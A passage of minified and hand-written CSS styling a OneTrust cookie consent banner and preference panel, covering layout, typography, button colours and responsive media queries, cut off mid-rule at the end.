label,#ot-sdk-cookie-policy input,#ot-sdk-cookie-policy ul,#ot-sdk-cookie-policy li,#ot-sdk-cookie-policy nav,#ot-sdk-cookie-policy table,#ot-sdk-cookie-policy thead,#ot-sdk-cookie-policy tr,#ot-sdk-cookie-policy td,#ot-sdk-cookie-policy tbody,#ot-sdk-cookie-policy .ot-main-content,#ot-sdk-cookie-policy .ot-toggle,#ot-sdk-cookie-policy #ot-content,#ot-sdk-cookie-policy #ot-pc-content,#ot-sdk-cookie-policy .checkbox,#ot-sync-ntfy div,#ot-sync-ntfy span,#ot-sync-ntfy h1,#ot-sync-ntfy h2,#ot-sync-ntfy h3,#ot-sync-ntfy h4,#ot-sync-ntfy h5,#ot-sync-ntfy h6,#ot-sync-ntfy p,#ot-sync-ntfy img,#ot-sync-ntfy svg,#ot-sync-ntfy button,#ot-sync-ntfy section,#ot-sync-ntfy a,#ot-sync-ntfy label,#ot-sync-ntfy input,#ot-sync-ntfy ul,#ot-sync-ntfy li,#ot-sync-ntfy nav,#ot-sync-ntfy table,#ot-sync-ntfy thead,#ot-sync-ntfy tr,#ot-sync-ntfy td,#ot-sync-ntfy tbody,#ot-sync-ntfy .ot-main-content,#ot-sync-ntfy .ot-toggle,#ot-sync-ntfy #ot-content,#ot-sync-ntfy #ot-pc-content,#ot-sync-ntfy .checkbox{font-family:inherit;font-weight:400;-webkit-font-smoothing:auto;letter-spacing:normal;line-height:normal;padding:0;margin:0;height:auto;min-height:0;max-height:none;width:auto;min-width:0;max-width:none;border-radius:0;border:none;clear:none;float:none;position:static;bottom:auto;left:auto;right:auto;top:auto;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;white-space:normal;background:0 0;overflow:visible;vertical-align:baseline;visibility:visible;z-index:auto;box-shadow:none}#onetrust-banner-sdk label:before,#onetrust-banner-sdk label:after,#onetrust-banner-sdk .checkbox:after,#onetrust-banner-sdk .checkbox:before,#onetrust-pc-sdk label:before,#onetrust-pc-sdk label:after,#onetrust-pc-sdk .checkbox:after,#onetrust-pc-sdk .checkbox:before,#ot-sdk-cookie-policy label:before,#ot-sdk-cookie-policy label:after,#ot-sdk-cookie-policy .checkbox:after,#ot-sdk-cookie-policy .checkbox:before,#ot-sync-ntfy label:before,#ot-sync-ntfy label:after,#ot-sync-ntfy .checkbox:after,#ot-sync-ntfy .checkbox:before{content:"";content:none}#onetrust-banner-sdk .ot-sdk-container,#onetrust-pc-sdk .ot-sdk-container,#ot-sdk-cookie-policy .ot-sdk-container{position:relative;width:100%;max-width:100%;margin:0 auto;padding:0 20px;box-sizing:border-box}#onetrust-banner-sdk .ot-sdk-column,#onetrust-banner-sdk .ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-column,#onetrust-pc-sdk .ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-column,#ot-sdk-cookie-policy .ot-sdk-columns{width:100%;float:left;box-sizing:border-box;padding:0;display:initial}@media(min-width:400px){#onetrust-banner-sdk .ot-sdk-container,#onetrust-pc-sdk .ot-sdk-container,#ot-sdk-cookie-policy .ot-sdk-container{width:90%;padding:0}}@media(min-width:550px){#onetrust-banner-sdk .ot-sdk-container,#onetrust-pc-sdk .ot-sdk-container,#ot-sdk-cookie-policy .ot-sdk-container{width:100%}#onetrust-banner-sdk .ot-sdk-column,#onetrust-banner-sdk .ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-column,#onetrust-pc-sdk .ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-column,#ot-sdk-cookie-policy .ot-sdk-columns{margin-left:4%}#onetrust-banner-sdk .ot-sdk-column:first-child,#onetrust-banner-sdk .ot-sdk-columns:first-child,#onetrust-pc-sdk .ot-sdk-column:first-child,#onetrust-pc-sdk .ot-sdk-columns:first-child,#ot-sdk-cookie-policy .ot-sdk-column:first-child,#ot-sdk-cookie-policy .ot-sdk-columns:first-child{margin-left:0}#onetrust-banner-sdk .ot-sdk-two.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-two.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-two.ot-sdk-columns{width:13.3333333333%}#onetrust-banner-sdk .ot-sdk-three.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-three.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-three.ot-sdk-columns{width:22%}#onetrust-banner-sdk .ot-sdk-four.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-four.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-four.ot-sdk-columns{width:30.6666666667%}#onetrust-banner-sdk .ot-sdk-eight.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-eight.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-eight.ot-sdk-columns{width:65.3333333333%}#onetrust-banner-sdk .ot-sdk-nine.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-nine.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-nine.ot-sdk-columns{width:74%}#onetrust-banner-sdk .ot-sdk-ten.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-ten.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-ten.ot-sdk-columns{width:82.6666666667%}#onetrust-banner-sdk .ot-sdk-eleven.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-eleven.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-eleven.ot-sdk-columns{width:91.3333333333%}#onetrust-banner-sdk .ot-sdk-twelve.ot-sdk-columns,#onetrust-pc-sdk .ot-sdk-twelve.ot-sdk-columns,#ot-sdk-cookie-policy .ot-sdk-twelve.ot-sdk-columns{width:100%;margin-left:0}}#onetrust-banner-sdk h1,#onetrust-banner-sdk h2,#onetrust-banner-sdk h3,#onetrust-banner-sdk h4,#onetrust-banner-sdk h5,#onetrust-banner-sdk h6,#onetrust-pc-sdk h1,#onetrust-pc-sdk h2,#onetrust-pc-sdk h3,#onetrust-pc-sdk h4,#onetrust-pc-sdk h5,#onetrust-pc-sdk h6,#ot-sdk-cookie-policy h1,#ot-sdk-cookie-policy h2,#ot-sdk-cookie-policy h3,#ot-sdk-cookie-policy h4,#ot-sdk-cookie-policy h5,#ot-sdk-cookie-policy h6{margin-top:0;font-weight:600;font-family:inherit}#onetrust-banner-sdk h1,#onetrust-pc-sdk h1,#ot-sdk-cookie-policy h1{font-size:1.5rem;line-height:1.2}#onetrust-banner-sdk h2,#onetrust-pc-sdk h2,#ot-sdk-cookie-policy h2{font-size:1.5rem;line-height:1.25}#onetrust-banner-sdk h3,#onetrust-pc-sdk h3,#ot-sdk-cookie-policy h3{font-size:1.5rem;line-height:1.3}#onetrust-banner-sdk h4,#onetrust-pc-sdk h4,#ot-sdk-cookie-policy h4{font-size:1.5rem;line-height:1.35}#onetrust-banner-sdk h5,#onetrust-pc-sdk h5,#ot-sdk-cookie-policy h5{font-size:1.5rem;line-height:1.5}#onetrust-banner-sdk h6,#onetrust-pc-sdk h6,#ot-sdk-cookie-policy h6{font-size:1.5rem;line-height:1.6}@media(min-width:550px){#onetrust-banner-sdk h1,#onetrust-pc-sdk h1,#ot-sdk-cookie-policy h1{font-size:1.5rem}#onetrust-banner-sdk h2,#onetrust-pc-sdk h2,#ot-sdk-cookie-policy h2{font-size:1.5rem}#onetrust-banner-sdk h3,#onetrust-pc-sdk h3,#ot-sdk-cookie-policy h3{font-size:1.5rem}#onetrust-banner-sdk h4,#onetrust-pc-sdk h4,#ot-sdk-cookie-policy h4{font-size:1.5rem}#onetrust-banner-sdk h5,#onetrust-pc-sdk h5,#ot-sdk-cookie-policy h5{font-size:1.5rem}#onetrust-banner-sdk h6,#onetrust-pc-sdk h6,#ot-sdk-cookie-policy h6{font-size:1.5rem}}#onetrust-banner-sdk p,#onetrust-pc-sdk p,#ot-sdk-cookie-policy p{margin:0 0 1em;font-family:inherit;line-height:normal}#onetrust-banner-sdk a,#onetrust-pc-sdk a,#ot-sdk-cookie-policy a{color:#565656;text-decoration:underline}#onetrust-banner-sdk a:hover,#onetrust-pc-sdk a:hover,#ot-sdk-cookie-policy a:hover{color:#565656;text-decoration:none}#onetrust-banner-sdk .ot-sdk-button,#onetrust-banner-sdk button,#onetrust-pc-sdk .ot-sdk-button,#onetrust-pc-sdk button,#ot-sdk-cookie-policy .ot-sdk-button,#ot-sdk-cookie-policy button{margin-bottom:1rem;font-family:inherit}#onetrust-banner-sdk .ot-sdk-button,#onetrust-banner-sdk button,#onetrust-pc-sdk .ot-sdk-button,#onetrust-pc-sdk button,#ot-sdk-cookie-policy .ot-sdk-button,#ot-sdk-cookie-policy button{display:inline-block;height:38px;padding:0 30px;color:#555;text-align:center;font-size:.9em;font-weight:400;line-height:38px;letter-spacing:.01em;text-decoration:none;white-space:nowrap;background-color:transparent;border-radius:2px;border:1px solid #bbb;cursor:pointer;box-sizing:border-box}#onetrust-banner-sdk .ot-sdk-button:hover,#onetrust-banner-sdk :not(.ot-leg-btn-container)>button:not(.ot-link-btn):hover,#onetrust-banner-sdk :not(.ot-leg-btn-container)>button:not(.ot-link-btn):focus,#onetrust-pc-sdk .ot-sdk-button:hover,#onetrust-pc-sdk :not(.ot-leg-btn-container)>button:not(.ot-link-btn):hover,#onetrust-pc-sdk :not(.ot-leg-btn-container)>button:not(.ot-link-btn):focus,#ot-sdk-cookie-policy .ot-sdk-button:hover,#ot-sdk-cookie-policy :not(.ot-leg-btn-container)>button:not(.ot-link-btn):hover,#ot-sdk-cookie-policy :not(.ot-leg-btn-container)>button:not(.ot-link-btn):focus{color:#333;border-color:#888;opacity:.7}#onetrust-banner-sdk .ot-sdk-button:focus,#onetrust-banner-sdk :not(.ot-leg-btn-container)>button:focus,#onetrust-pc-sdk .ot-sdk-button:focus,#onetrust-pc-sdk :not(.ot-leg-btn-container)>button:focus,#ot-sdk-cookie-policy .ot-sdk-button:focus,#ot-sdk-cookie-policy :not(.ot-leg-btn-container)>button:focus{outline:2px solid #000}#onetrust-banner-sdk .ot-sdk-button.ot-sdk-button-primary,#onetrust-banner-sdk button.ot-sdk-button-primary,#onetrust-banner-sdk input[type=submit].ot-sdk-button-primary,#onetrust-banner-sdk input[type=reset].ot-sdk-button-primary,#onetrust-banner-sdk input[type=button].ot-sdk-button-primary,#onetrust-pc-sdk .ot-sdk-button.ot-sdk-button-primary,#onetrust-pc-sdk button.ot-sdk-button-primary,#onetrust-pc-sdk input[type=submit].ot-sdk-button-primary,#onetrust-pc-sdk input[type=reset].ot-sdk-button-primary,#onetrust-pc-sdk input[type=button].ot-sdk-button-primary,#ot-sdk-cookie-policy .ot-sdk-button.ot-sdk-button-primary,#ot-sdk-cookie-policy button.ot-sdk-button-primary,#ot-sdk-cookie-policy input[type=submit].ot-sdk-button-primary,#ot-sdk-cookie-policy input[type=reset].ot-sdk-button-primary,#ot-sdk-cookie-policy input[type=button].ot-sdk-button-primary{color:#fff;background-color:#33c3f0;border-color:#33c3f0}#onetrust-banner-sdk .ot-sdk-button.ot-sdk-button-primary:hover,#onetrust-banner-sdk button.ot-sdk-button-primary:hover,#onetrust-banner-sdk input[type=submit].ot-sdk-button-primary:hover,#onetrust-banner-sdk input[type=reset].ot-sdk-button-primary:hover,#onetrust-banner-sdk input[type=button].ot-sdk-button-primary:hover,#onetrust-banner-sdk .ot-sdk-button.ot-sdk-button-primary:focus,#onetrust-banner-sdk button.ot-sdk-button-primary:focus,#onetrust-banner-sdk input[type=submit].ot-sdk-button-primary:focus,#onetrust-banner-sdk input[type=reset].ot-sdk-button-primary:focus,#onetrust-banner-sdk input[type=button].ot-sdk-button-primary:focus,#onetrust-pc-sdk .ot-sdk-button.ot-sdk-button-primary:hover,#onetrust-pc-sdk button.ot-sdk-button-primary:hover,#onetrust-pc-sdk input[type=submit].ot-sdk-button-primary:hover,#onetrust-pc-sdk input[type=reset].ot-sdk-button-primary:hover,#onetrust-pc-sdk input[type=button].ot-sdk-button-primary:hover,#onetrust-pc-sdk .ot-sdk-button.ot-sdk-button-primary:focus,#onetrust-pc-sdk button.ot-sdk-button-primary:focus,#onetrust-pc-sdk input[type=submit].ot-sdk-button-primary:focus,#onetrust-pc-sdk input[type=reset].ot-sdk-button-primary:focus,#onetrust-pc-sdk input[type=button].ot-sdk-button-primary:focus,#ot-sdk-cookie-policy .ot-sdk-button.ot-sdk-button-primary:hover,#ot-sdk-cookie-policy button.ot-sdk-button-primary:hover,#ot-sdk-cookie-policy input[type=submit].ot-sdk-button-primary:hover,#ot-sdk-cookie-policy input[type=reset].ot-sdk-button-primary:hover,#ot-sdk-cookie-policy input[type=button].ot-sdk-button-primary:hover,#ot-sdk-cookie-policy .ot-sdk-button.ot-sdk-button-primary:focus,#ot-sdk-cookie-policy button.ot-sdk-button-primary:focus,#ot-sdk-cookie-policy input[type=submit].ot-sdk-button-primary:focus,#ot-sdk-cookie-policy input[type=reset].ot-sdk-button-primary:focus,#ot-sdk-cookie-policy input[type=button].ot-sdk-button-primary:focus{color:#fff;background-color:#1eaedb;border-color:#1eaedb}#onetrust-banner-sdk input[type=text],#onetrust-pc-sdk input[type=text],#ot-sdk-cookie-policy input[type=text]{height:38px;padding:6px 10px;background-color:#fff;border:1px solid #d1d1d1;border-radius:4px;box-shadow:none;box-sizing:border-box}#onetrust-banner-sdk input[type=text],#onetrust-pc-sdk input[type=text],#ot-sdk-cookie-policy input[type=text]{-webkit-appearance:none;-moz-appearance:none;appearance:none}#onetrust-banner-sdk input[type=text]:focus,#onetrust-pc-sdk input[type=text]:focus,#ot-sdk-cookie-policy input[type=text]:focus{border:1px solid #000;outline:0}#onetrust-banner-sdk label,#onetrust-pc-sdk label,#ot-sdk-cookie-policy label{display:block;margin-bottom:.5rem;font-weight:600}#onetrust-banner-sdk input[type=checkbox],#onetrust-pc-sdk input[type=checkbox],#ot-sdk-cookie-policy input[type=checkbox]{display:inline}#onetrust-banner-sdk ul,#onetrust-pc-sdk ul,#ot-sdk-cookie-policy ul{list-style:circle inside}#onetrust-banner-sdk ul,#onetrust-pc-sdk ul,#ot-sdk-cookie-policy ul{padding-left:0;margin-top:0}#onetrust-banner-sdk ul ul,#onetrust-pc-sdk ul ul,#ot-sdk-cookie-policy ul ul{margin:1.5rem 0 1.5rem 3rem;font-size:90%}#onetrust-banner-sdk li,#onetrust-pc-sdk li,#ot-sdk-cookie-policy li{margin-bottom:1rem}#onetrust-banner-sdk th,#onetrust-banner-sdk td,#onetrust-pc-sdk th,#onetrust-pc-sdk td,#ot-sdk-cookie-policy th,#ot-sdk-cookie-policy td{padding:12px 15px;text-align:left;border-bottom:1px solid #e1e1e1}#onetrust-banner-sdk button,#onetrust-pc-sdk button,#ot-sdk-cookie-policy button{margin-bottom:1rem;font-family:inherit}#onetrust-banner-sdk .ot-sdk-container:after,#onetrust-banner-sdk .ot-sdk-row:after,#onetrust-pc-sdk .ot-sdk-container:after,#onetrust-pc-sdk .ot-sdk-row:after,#ot-sdk-cookie-policy .ot-sdk-container:after,#ot-sdk-cookie-policy .ot-sdk-row:after{content:"";display:table;clear:both}#onetrust-banner-sdk .ot-sdk-row,#onetrust-pc-sdk .ot-sdk-row,#ot-sdk-cookie-policy .ot-sdk-row{margin:0;max-width:none;display:block}#onetrust-banner-sdk{box-shadow:0 0 18px rgba(0,0,0,.2)}#onetrust-banner-sdk.otFlat{position:fixed;z-index:2147483645;bottom:0;right:0;left:0;background-color:#fff;max-height:90%;overflow-x:hidden;overflow-y:auto}#onetrust-banner-sdk.otFlat.top{top:0px;bottom:auto}#onetrust-banner-sdk.otRelFont{font-size:1rem}#onetrust-banner-sdk>.ot-sdk-container{overflow:hidden}#onetrust-banner-sdk::-webkit-scrollbar{width:11px}#onetrust-banner-sdk::-webkit-scrollbar-thumb{border-radius:10px;background:#c1c1c1}#onetrust-banner-sdk{scrollbar-arrow-color:#c1c1c1;scrollbar-darkshadow-color:#c1c1c1;scrollbar-face-color:#c1c1c1;scrollbar-shadow-color:#c1c1c1}#onetrust-banner-sdk #onetrust-policy{margin:1.25em 0 .625em 2em;overflow:hidden}#onetrust-banner-sdk #onetrust-policy .ot-gv-list-handler{float:left;font-size:.82em;padding:0;margin-bottom:0;border:0;line-height:normal;height:auto;width:auto}#onetrust-banner-sdk #onetrust-policy-title{font-size:1.2em;line-height:1.3;margin-bottom:10px}#onetrust-banner-sdk #onetrust-policy-text{clear:both;text-align:left;font-size:.88em;line-height:1.4}#onetrust-banner-sdk #onetrust-policy-text *{font-size:inherit;line-height:inherit}#onetrust-banner-sdk #onetrust-policy-text a{font-weight:bold;margin-left:5px}#onetrust-banner-sdk #onetrust-policy-title,#onetrust-banner-sdk #onetrust-policy-text{color:dimgray;float:left}#onetrust-banner-sdk #onetrust-button-group-parent{min-height:1px;text-align:center}#onetrust-banner-sdk #onetrust-button-group{display:inline-block}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{background-color:#68b631;color:#fff;border-color:#68b631;margin-right:1em;min-width:125px;height:auto;white-space:normal;word-break:break-word;word-wrap:break-word;padding:12px 10px;line-height:1.2;font-size:.813em;font-weight:600}#onetrust-banner-sdk #onetrust-pc-btn-handler.cookie-setting-link{background-color:#fff;border:none;color:#68b631;text-decoration:underline;padding-left:0;padding-right:0}#onetrust-banner-sdk .onetrust-close-btn-ui{width:44px;height:44px;background-size:12px;border:none;position:relative;margin:auto;padding:0}#onetrust-banner-sdk .banner_logo{display:none}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{position:absolute;top:50%;transform:translateY(-50%);left:0px}#onetrust-banner-sdk.ot-bnr-w-logo #onetrust-policy{margin-left:65px}#onetrust-banner-sdk .ot-b-addl-desc{clear:both;float:left;display:block}#onetrust-banner-sdk #banner-options{float:left;display:table;margin-right:0;margin-left:1em;width:calc(100% - 1em)}#onetrust-banner-sdk .banner-option-input{cursor:pointer;width:auto;height:auto;border:none;padding:0;padding-right:3px;margin:0 0 10px;font-size:.82em;line-height:1.4}#onetrust-banner-sdk .banner-option-input *{pointer-events:none;font-size:inherit;line-height:inherit}#onetrust-banner-sdk .banner-option-input[aria-expanded=true]~.banner-option-details{display:block;height:auto}#onetrust-banner-sdk .banner-option-input[aria-expanded=true] .ot-arrow-container{transform:rotate(90deg)}#onetrust-banner-sdk .banner-option{margin-bottom:12px;margin-left:0;border:none;float:left;padding:0}#onetrust-banner-sdk .banner-option:first-child{padding-left:2px}#onetrust-banner-sdk .banner-option:not(:first-child){padding:0;border:none}#onetrust-banner-sdk .banner-option-header{cursor:pointer;display:inline-block}#onetrust-banner-sdk .banner-option-header :first-child{color:dimgray;font-weight:bold;float:left}#onetrust-banner-sdk .banner-option-header .ot-arrow-container{display:inline-block;border-top:6px solid rgba(0,0,0,0);border-bottom:6px solid rgba(0,0,0,0);border-left:6px solid dimgray;margin-left:10px;vertical-align:middle}#onetrust-banner-sdk .banner-option-details{display:none;font-size:.83em;line-height:1.5;padding:10px 0px 5px 10px;margin-right:10px;height:0px}#onetrust-banner-sdk .banner-option-details *{font-size:inherit;line-height:inherit;color:dimgray}#onetrust-banner-sdk .ot-arrow-container,#onetrust-banner-sdk .banner-option-details{transition:all 300ms ease-in 0s;-webkit-transition:all 300ms ease-in 0s;-moz-transition:all 300ms ease-in 0s;-o-transition:all 300ms ease-in 0s}#onetrust-banner-sdk .ot-dpd-container{float:left}#onetrust-banner-sdk .ot-dpd-title{margin-bottom:10px}#onetrust-banner-sdk .ot-dpd-title,#onetrust-banner-sdk .ot-dpd-desc{font-size:.88em;line-height:1.4;color:dimgray}#onetrust-banner-sdk .ot-dpd-title *,#onetrust-banner-sdk .ot-dpd-desc *{font-size:inherit;line-height:inherit}#onetrust-banner-sdk.ot-iab-2 #onetrust-policy-text *{margin-bottom:0}#onetrust-banner-sdk.ot-iab-2 .onetrust-vendors-list-handler{display:block;margin-left:0;margin-top:5px;clear:both;margin-bottom:0;padding:0;border:0;height:auto;width:auto}#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group button{display:block}#onetrust-banner-sdk.ot-close-btn-link{padding-top:25px}#onetrust-banner-sdk.ot-close-btn-link #onetrust-close-btn-container{top:15px;transform:none;right:15px}#onetrust-banner-sdk.ot-close-btn-link #onetrust-close-btn-container button{padding:0;white-space:pre-wrap;border:none;height:auto;line-height:1.5;text-decoration:underline;font-size:.69em}#onetrust-banner-sdk #onetrust-policy-text,#onetrust-banner-sdk .ot-dpd-desc,#onetrust-banner-sdk .ot-b-addl-desc{font-size:.813em;line-height:1.5}#onetrust-banner-sdk .ot-dpd-desc{margin-bottom:10px}#onetrust-banner-sdk .ot-dpd-desc>.ot-b-addl-desc{margin-top:10px;margin-bottom:10px;font-size:1em}@media only screen and (max-width: 425px){#onetrust-banner-sdk #onetrust-close-btn-container{position:absolute;top:6px;right:2px}#onetrust-banner-sdk #onetrust-policy{margin-left:0;margin-top:3em}#onetrust-banner-sdk #onetrust-button-group{display:block}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{width:100%}#onetrust-banner-sdk .onetrust-close-btn-ui{top:auto;transform:none}#onetrust-banner-sdk #onetrust-policy-title{display:inline;float:none}#onetrust-banner-sdk #banner-options{margin:0;padding:0;width:100%}}@media only screen and (min-width: 426px)and (max-width: 896px){#onetrust-banner-sdk #onetrust-close-btn-container{position:absolute;top:0;right:0}#onetrust-banner-sdk #onetrust-policy{margin-left:1em;margin-right:1em}#onetrust-banner-sdk .onetrust-close-btn-ui{top:10px;right:10px}#onetrust-banner-sdk:not(.ot-iab-2) #onetrust-group-container{width:95%}#onetrust-banner-sdk.ot-iab-2 #onetrust-group-container{width:100%}#onetrust-banner-sdk.ot-bnr-w-logo #onetrust-button-group-parent{padding-left:50px}#onetrust-banner-sdk #onetrust-button-group-parent{width:100%;position:relative;margin-left:0}#onetrust-banner-sdk #onetrust-button-group button{display:inline-block}#onetrust-banner-sdk #onetrust-button-group{margin-right:0;text-align:center}#onetrust-banner-sdk .has-reject-all-button #onetrust-pc-btn-handler{float:left}#onetrust-banner-sdk .has-reject-all-button #onetrust-reject-all-handler,#onetrust-banner-sdk .has-reject-all-button #onetrust-accept-btn-handler{float:right}#onetrust-banner-sdk .has-reject-all-button #onetrust-button-group{width:calc(100% - 2em);margin-right:0}#onetrust-banner-sdk .has-reject-all-button #onetrust-pc-btn-handler.cookie-setting-link{padding-left:0px;text-align:left}#onetrust-banner-sdk.ot-buttons-fw .ot-sdk-three button{width:100%;text-align:center}#onetrust-banner-sdk.ot-buttons-fw #onetrust-button-group-parent button{float:none}#onetrust-banner-sdk.ot-buttons-fw #onetrust-pc-btn-handler.cookie-setting-link{text-align:center}}@media only screen and (min-width: 550px){#onetrust-banner-sdk .banner-option:not(:first-child){border-left:1px solid #d8d8d8;padding-left:25px}}@media only screen and (min-width: 425px)and (max-width: 550px){#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group,#onetrust-banner-sdk.ot-iab-2 #onetrust-policy,#onetrust-banner-sdk.ot-iab-2 .banner-option{width:100%}#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-accept-btn-handler,#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-reject-all-handler,#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-pc-btn-handler{width:100%}#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-accept-btn-handler,#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group #onetrust-reject-all-handler{float:left}}@media only screen and (min-width: 769px){#onetrust-banner-sdk #onetrust-button-group{margin-right:30%}#onetrust-banner-sdk #banner-options{margin-left:2em;margin-right:5em;margin-bottom:1.25em;width:calc(100% - 7em)}}@media only screen and (min-width: 897px)and (max-width: 1023px){#onetrust-banner-sdk.vertical-align-content #onetrust-button-group-parent{position:absolute;top:50%;left:75%;transform:translateY(-50%)}#onetrust-banner-sdk #onetrust-close-btn-container{top:50%;margin:auto;transform:translate(-50%, -50%);position:absolute;padding:0;right:0}#onetrust-banner-sdk #onetrust-close-btn-container button{position:relative;margin:0;right:-22px;top:2px}}@media only screen and (min-width: 1024px){#onetrust-banner-sdk #onetrust-close-btn-container{top:50%;margin:auto;transform:translate(-50%, -50%);position:absolute;right:0}#onetrust-banner-sdk #onetrust-close-btn-container button{right:-12px}#onetrust-banner-sdk #onetrust-policy{margin-left:2em}#onetrust-banner-sdk.vertical-align-content #onetrust-button-group-parent{position:absolute;top:50%;left:60%;transform:translateY(-50%)}#onetrust-banner-sdk .ot-optout-signal{width:50%}#onetrust-banner-sdk.ot-iab-2 #onetrust-policy-title{width:50%}#onetrust-banner-sdk.ot-iab-2 #onetrust-policy-text,#onetrust-banner-sdk.ot-iab-2 :not(.ot-dpd-desc)>.ot-b-addl-desc{margin-bottom:1em;width:50%;border-right:1px solid #d8d8d8;padding-right:1rem}#onetrust-banner-sdk.ot-iab-2 #onetrust-policy-text{margin-bottom:0;padding-bottom:1em}#onetrust-banner-sdk.ot-iab-2 :not(.ot-dpd-desc)>.ot-b-addl-desc{margin-bottom:0;padding-bottom:1em}#onetrust-banner-sdk.ot-iab-2 .ot-dpd-container{width:45%;padding-left:1rem;display:inline-block;float:none}#onetrust-banner-sdk.ot-iab-2 .ot-dpd-title{line-height:1.7}#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group-parent{left:auto;right:4%;margin-left:0}#onetrust-banner-sdk.ot-iab-2 #onetrust-button-group button{display:block}#onetrust-banner-sdk:not(.ot-iab-2) #onetrust-button-group-parent{margin:auto;width:30%}#onetrust-banner-sdk:not(.ot-iab-2) #onetrust-group-container{width:60%}#onetrust-banner-sdk #onetrust-button-group{margin-right:auto}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{margin-top:1em}}@media only screen and (min-width: 890px){#onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group-parent{padding-left:3%;padding-right:4%;margin-left:0}#onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group{margin-right:0;margin-top:1.25em;width:100%}#onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group button{width:100%;margin-bottom:5px;margin-top:5px}#onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group button:last-of-type{margin-bottom:20px}}@media only screen and (min-width: 1280px){#onetrust-banner-sdk:not(.ot-iab-2) #onetrust-group-container{width:55%}#onetrust-banner-sdk:not(.ot-iab-2) #onetrust-button-group-parent{width:44%;padding-left:2%;padding-right:2%}#onetrust-banner-sdk:not(.ot-iab-2).vertical-align-content #onetrust-button-group-parent{position:absolute;left:55%}}
        #onetrust-consent-sdk #onetrust-banner-sdk {background-color: #000000;}
            #onetrust-consent-sdk #onetrust-policy-title,
                    #onetrust-consent-sdk #onetrust-policy-text,
                    #onetrust-consent-sdk .ot-b-addl-desc,
                    #onetrust-consent-sdk .ot-dpd-desc,
                    #onetrust-consent-sdk .ot-dpd-title,
                    #onetrust-consent-sdk #onetrust-policy-text *:not(.onetrust-vendors-list-handler),
                    #onetrust-consent-sdk .ot-dpd-desc *:not(.onetrust-vendors-list-handler),
                    #onetrust-consent-sdk #onetrust-banner-sdk #banner-options *,
                    #onetrust-banner-sdk .ot-cat-header,
                    #onetrust-banner-sdk .ot-optout-signal
                    {
                        color: #FFFFFF;
                    }
            #onetrust-consent-sdk #onetrust-banner-sdk .banner-option-details {
                    background-color: #E9E9E9;}
             #onetrust-consent-sdk #onetrust-banner-sdk a[href],
                    #onetrust-consent-sdk #onetrust-banner-sdk a[href] font,
                    #onetrust-consent-sdk #onetrust-banner-sdk .ot-link-btn
                        {
                            color: #00C0E8;
                        }#onetrust-consent-sdk #onetrust-accept-btn-handler,
                         #onetrust-banner-sdk #onetrust-reject-all-handler {
                            background-color: #00CC66;border-color: #00CC66;
                color: #000000;
            }
            #onetrust-consent-sdk #onetrust-banner-sdk *:focus,
            #onetrust-consent-sdk #onetrust-banner-sdk:focus {
               outline-color: #000000;
               outline-width: 1px;
            }
            #onetrust-consent-sdk #onetrust-pc-btn-handler,
            #onetrust-consent-sdk #onetrust-pc-btn-handler.cookie-setting-link {
                color: #000000; border-color: #000000;
                background-color:
                #FFFFFF;
            }#onetrust-pc-sdk .ot-cat-grp .ot-always-active {
    color: #09e66e;
}
div.ot-optout-signal > span{
color: #000000 !important;
}

@media only screen and (min-width: 426px) and (max-width: 767px){
    #onetrust-banner-sdk #onetrust-button-group-parent {
        margin: 1rem;
    }
}
@media only screen and (max-width: 767px) {
    #onetrust-button-group{
        display: flex !important;
        flex-direction: column-reverse !important;
    }
}
@media only screen and (min-width: 890px) and (max-width: 1279px){
    #onetrust-button-group{
        display: flex !important;
        flex-direction: column-reverse !important;
    }
    #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group button:last-of-type{
        margin-bottom: 5px !important;
    }
    #onetrust-banner-sdk .ot-sdk-three.ot-sdk-columns, #onetrust-pc-sdk .ot-sdk-three.ot-sdk-columns, #ot-sdk-cookie-policy .ot-sdk-three.ot-sdk-columns{
        width: 26%;
        margin-bottom: 1.2rem;
        margin-top: 1rem;
    }
    #onetrust-banner-sdk.vertical-align-content #onetrust-button-group-parent {
        position: relative  !important;
        top: unset !important;
        left: unset !important;
        transform: translateY(0)  !important;
    }
   
}

@media only screen and (min-width: 1024px){
    #onetrust-banner-sdk:not(.ot-iab-2) #onetrust-button-group-parent {
        width: 34% !important;
        position: relative !important;
        top: unset !important;
        left: unset !important;
